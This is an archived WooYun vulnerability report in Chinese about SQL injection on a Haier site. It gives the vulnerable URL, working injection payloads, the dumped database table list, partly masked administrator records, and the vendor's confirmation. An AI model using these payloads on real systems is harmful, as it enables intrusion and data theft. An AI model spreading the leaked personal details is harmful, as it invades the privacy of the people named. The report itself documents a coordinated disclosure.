当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080138

漏洞标题:海尔集团某站SQL注射影响大量数据库

相关厂商:海尔集团

漏洞作者: 路人甲

提交时间:2014-10-21 13:12

修复时间:2014-12-05 13:14

公开时间:2014-12-05 13:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-21: 细节已通知厂商并且等待厂商处理中
2014-10-23: 厂商已经确认,细节仅向厂商公开
2014-11-02: 细节向核心白帽子及相关领域专家公开
2014-11-12: 细节向普通白帽子公开
2014-11-22: 细节向实习白帽子公开
2014-12-05: 细节向公众公开

简要描述:

中午没吃饭。饿(⊙o⊙)…

详细说明:

注入url:http://hope.haier.com/Article/index/detail?id=225181
参数id (get)
Payload: id=225181) AND 4781=4781 AND (1933=1933
Payload: id=225181) UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7176706171,0x634a766d7a574c724265,0x71686e6171),NULL#
web application technology: Nginx
available databases [2]:
[*] hope
[*] information_schema

漏洞证明:

Database: hope
[171 tables]
+-----------------------------------+
| de_lhope_backstage_roles_part |
| del_hope_backstage_parts |
| del_hope_backstage_roles |
| del_hope_backstage_** |
| del_hope_backstage_** |
| del_hope_circle |
| del_hope_circle_channel |
| del_hope_circle_out |
| del_hope_circle_resources |
| del_hope_circle_roles |
| del_hope_circle_roles_authority |
| del_hope_circle_shared |
| del_hope_circle_shared_folder |
| del_hope_circle_tops |
| del_hope_circle_***** |
| del_hope_credit |
| del_hope_credit_rule |
| del_hope_digg |
| del_hope_****** |
| del_hope_sso_users_v |
| del_hope_typeservice |
| del_hope_u****copy |
| del_hope_u****follow_require |
| del_xls_****s |
| hope_approve |
| hope_article |
| hope_article_category |
| hope_article_point |
| hope_article_tag |
| hope_attachment |
| hope_collect |
| hope_comments |
| hope_company |
| hope_company_category |
| hope_company_follw |
| hope_company_invite |
| hope_company_*** |
| hope_company*** |
| hope_cooperation |
| hope_country |
| hope_edm_unsubscribe |
| hope_expert |
| hope_expert_imgs |
| hope_expert_news |
| hope_expert_point |
| hope_expert_reply |
| hope_experts_category |
| hope_experts_roles |
| hope_experts_roles_category |
| hope_feedback |
| hope_group |
| hope_group_attachment |
| hope_group_invite |
| hope_group_role |
| hope_group_role_auth |
| hope_group_tag |
| hope_group_topic |
| hope_group_topic_vote |
| hope_group_topic_vote_user |
| hope_group_user |
| hope_idm_usercode |
| hope_inbox_atme |
| hope_inbox_message |
| hope_inbox_remind |
| hope_inbox_reply |
| hope_inbox_reply_user |
| hope_industry_type |
| hope_keywords_log |
| hope_library |
| hope_library_tag |
| hope_location |
| hope_mail_address |
| hope_mail_cron |
| hope_mail_queue |
| hope_mail_temp |
| hope_node |
| hope_notify |
| hope_province |
| hope_recommend |
| hope_recommend_click_log |
| hope_require |
| hope_require_banner |
| hope_require_belongs |
| hope_require_category |
| hope_require_cooperation |
| hope_require_delay_notice |
| hope_require_doc |
| hope_require_follow |
| hope_require_invite |
| hope_require_invite_resource |
| hope_require_recommend_technology |
| hope_require_reject |
| hope_require_score |
| hope_require_status_time |
| hope_require_tag |
| hope_resource |
| hope_right |
| hope_roles |
| hope_roles_authority |
| hope_roles_authority_n_users |
| hope_roles_n_authority |
| hope_roles_n_user |
| hope_solutions |
| hope_solutions_banner |
| hope_solutions_belongs |
| hope_solutions_comment |
| hope_solutions_cooperation |
| hope_solutions_doc |
| hope_solutions_mature |
| hope_solutions_score |
| hope_solutions_status_time |
| hope_solutions_tag |
| hope_subscription |
| hope_supplier |
| hope_supplier_question |
| hope_supplier_rule |
| hope_sys_interact |
| hope_tag |
| hope_tasktype |
| hope_tdate |
| hope_technology |
| hope_technology_category |
| hope_technology_cooperation |
| hope_technology_invite |
| hope_technology_invite_resource |
| hope_technology_score |
| hope_technology_tag |
| hope_topic |
| hope_topic_boddys |
| hope_topic_favorites |
| hope_topic_otherfollows |
| hope_topic_subscribe |
| hope_topic_top |
| hope_topic_visitor |
| ho** |
| hope_user_action_log |
| hope_user_cas_bak |
| hope_user_company |
| hope_user_credits_log |
| hope_user_invite |
| hope_user_login_log |
| hope_user_oauth |
| hope_user_oauthinfo |
| hope_user_seach_log |
| hope_user_tag |
| hope_user_verify |
| hope_user_verify_comments |
| hope_user_verify_typeservice |
| hope_userfollow |
| hope_userskill |
| hope_visit_details |
| hope_visit_tongji |
| hope_visit_tongji_details |
| hope_vote_result |
| hope_wx_answer |
| hope_wx_answer_robot |
| hope_wx_answer_third |
| hope_wx_article |
| hope_wx_config |
| hope_wx_menu |
| hope_wx_message_image |
| hope_wx_message_location |
| hope_wx_message_text |
| hope_wx_message_voice |
| hope_wx_news |
| hope_wx_user |
| hope_zone |
| hope_zone_registration |
| hope_zone_registration_doc |
| hope_zone_reply |
| log_area_ip |
+-----------------------------------+
1,50,系统管理员,admin@iha**,adm**
105,50,陈*,chenw*001@chaoshu,chen*
106,50,刘培*,haier123,liu*****
108,50,李**,ld*@shu001.com,lid***@shu001.com
109,50,海立方管理员,**@ihaier.com,*@163.com
110,50,姚*,y*i@*u,yao*****
111,50,赵淑*,zhaos**,zhao**@haier.com
剩下就是找后台了。

修复方案:

~~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2014-10-23 11:33

厂商回复:

感谢白帽子路人甲的测试与发现,针对此问题我们内部进行了全面检查,的确有些漏洞与问题,我司正在积极修复,同时也希望各位大侠能够继续支持海尔。

最新状态:

暂无